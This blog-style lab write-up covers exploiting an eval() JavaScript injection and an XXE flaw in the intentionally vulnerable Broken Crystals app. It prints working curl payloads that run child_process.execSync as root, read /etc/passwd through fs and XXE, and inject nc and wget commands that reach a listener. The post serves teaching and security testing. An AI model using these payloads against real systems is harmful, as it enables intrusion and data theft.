Broken Crystals Field Notes 3: eval SSJI to root RCE, and an XXE That Reads Files but Can't Do SSRF
- Part 1: Information Disclosure → Arbitrary File Read (LFI)
- Part 2: A Single query Parameter → root reverse shell
- ▸ Part 3: eval SSJI → RCE, and XXE (this post)
- Part 4: MCP Attack → admin RCE kill chain
The samedist/app.controller.jswe already used to punch through/api/spawncommand injection still hides two more targets: theeval()in/api/process_numbersand the XXE in/api/metadata. This post finishes off both, and honestly documents why the XXE can read files but can't be pushed into SSRF — that part is actually worth more than a "one shot and it works" success.
1. /api/process_numbers: eval SSJI → root RCE
White-box triage
The source literally throws user input straight into eval:
const processNumbersExpression = typeof payload?.processing_expression === 'string'
&& payload.processing_expression.trim().length > 0
? payload.processing_expression
: 'numbers.reduce((acc, num) => acc + num, 0)';
const result = eval(processNumbersExpression); // user-controlled string goes straight into eval
processing_expression is fully attacker-controlled, goes directly into eval(), and result is returned back to us.
First, let's be clear: this is SSJI, not SSTI
This is easy to confuse, so let's pin it down. The difference is "what engine does the input get fed into":
- SSTI (Server-Side Template Injection): the input reaches a template engine (Handlebars, Jinja2, doT…), and the payload is template syntax such as
{{7*7}}or<%= 7*7 %>. - SSJI (Server-Side JavaScript Injection): the input goes straight into
eval()orFunction(), and the payload is native JS such as7*7.
/api/process_numbers is the latter — the input goes straight into eval with no template engine in between, so this is SSJI. (As an aside, the same controller's /api/render uses the doT engine via dot.compile(text)() — that one is SSTI, so the two make a nice side-by-side comparison.)
Verification
Send a plain expression first to confirm eval really executes:
curl -s -X POST http://localhost:3000/api/process_numbers \
-H "Content-Type: application/json" \
-d '{"numbers":[1,2,3],"processing_expression":"7*7"}'
# 49
It returns 49 (not the string "7*7") → SSJI confirmed.
Escalating to RCE
eval runs Node.js, not a shell, so we need JS syntax to call a Node built-in module to run system commands. The key is child_process, and we pick execSync because it's synchronous and returns the output (the endpoint returns result, so we want a synchronous call whose return value is the command output):
curl -s -X POST http://localhost:3000/api/process_numbers \
-H "Content-Type: application/json" \
-d '{"numbers":[1],"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"}'
# uid=0(root) gid=0(root) groups=0(root),...
uid=0(root) — a second root RCE path, independent of spawn.
Two ways SSJI beats spawn
1. It goes through a shell, so you can chain freely. The spawn path was stuck on "no shell, so ; chaining gives ENOENT", but execSync defaults to running through /bin/sh -c, so shell metacharacters work:
# id;whoami;hostname all three execute (spawn can't do this)
... "processing_expression":"require(\"child_process\").execSync(\"id;whoami;hostname\").toString()"
2. You have the entire Node.js runtime available, no shell required. For example, pure JS reading a file directly via the fs module:
... "processing_expression":"require(\"fs\").readFileSync(\"/etc/passwd\").toString()"
The essence of SSJI is this: what you get isn't just "run a command", it's "run arbitrary Node.js code" — a strictly higher capability ceiling than plain command injection.
2. /api/metadata: XXE Arbitrary File Read (SSRF limited)
White-box triage
const xmlDoc = parseXml(decodeURIComponent(xml), {
noent: true, // expand external entities — the XXE switch
dtdvalid: true,
recover: true
});
return xmlDoc.toString(true); // parse result is returned → in-band XXE
noent: true tells libxmljs to expand XML external entities, and the result is returned to the user, making this an in-band XXE.
Verification and file read
An XXE payload has three parts: the XML declaration + a DOCTYPE defining an external entity + a body that references that entity. The key point is that the element name and the entity name are both arbitrary — they just have to be consistent front-to-back (the DOCTYPE name matches the root element name, the ENTITY name matches &name;):
curl -s -X POST http://localhost:3000/api/metadata \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "file:///etc/passwd"> ]><pwn>&leak;</pwn>'
The contents of /etc/passwd come back reflected inside <pwn> — XXE arbitrary file read confirmed. (This is the target's third file-read path, corroborating the LFI in /api/file and the RCE-based read in /api/spawn.)
XXE-to-SSRF attempt: can read files, but can't move it to SSRF
Swap file:// for an internal URL, expecting the backend to actively request an internal service:
curl -s -X POST http://localhost:3000/api/metadata \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "http://172.22.0.1:8000/xxe-ssrf-proof"> ]><pwn>&leak;</pwn>'
# <pwn/> (empty element, local listener received nothing)
It returns an empty <pwn/> element, and the local HTTP listener gets no callback at all. This needs investigating — is the network down, or does the XXE simply not fire an HTTP request? Use the already-confirmed reliable spawn RCE channel to isolate the variable:
# 1. test connectivity from the container to the listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc -zv 172.22.0.1 8000"
# 172.22.0.1 (172.22.0.1:8000) open ← network is up
# 2. use the container's wget to hit the listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=wget -O- http://172.22.0.1:8000/spawn-test"
# listener received: 172.22.0.7 - - "GET /spawn-test HTTP/1.1" ← the container can indeed send HTTP
Conclusion nailed down: the network is 100% up (spawn's wget reaches the listener), but the XXE simply does not fire an HTTP request.
Why file:// works but http:// doesn't
Which protocols an external entity supports depends on the underlying libxml2 build options:
file://: reads local files, basic support, almost always works (which is why reading/etc/passwdsucceeded).http://: requires libxml2 to have been compiled with the nanohttp networking module. Slimmed-down containers (like Alpine-based ones) often disable it or ship it incomplete, sohttp://external entities never trigger a network request, the entity expands to empty → reflected as<pwn/>.
This is the classic reason real-world XXE-SSRF "won't move": a successful XXE file read does not mean XXE-SSRF will succeed — it depends on the parser's support for http://. This box's libxml2 has no nanohttp, so XXE-SSRF is a dead end.
Attack Chain Summary
White-box source audit (dist/app.controller.js)
├─ /api/process_numbers eval() SSJI
│ ├─ 7*7 → 49 (confirms SSJI, not SSTI)
│ ├─ child_process.execSync('id') → root RCE
│ └─ shell-backed chaining + pure-JS fs read (higher ceiling than spawn)
│
└─ /api/metadata XXE (noent:true)
├─ file:///etc/passwd → arbitrary file read ✅
└─ http://internal → SSRF ✗ (libxml2 has no nanohttp)
Two takeaways worth more than the exploitation itself: first, telling SSTI and SSJI apart (input into a template engine vs. into eval); second, a parser-level understanding of "XXE can read files ≠ XXE can SSRF", plus the method of using one reliable RCE channel to isolate variables and nail down the "network is up but XXE won't send HTTP" diagnosis.
This article is a record of testing against a locally self-hosted lab within an authorized scope, for defensive research and educational purposes only. Do not use any of these techniques against unauthorized targets.
Member discussion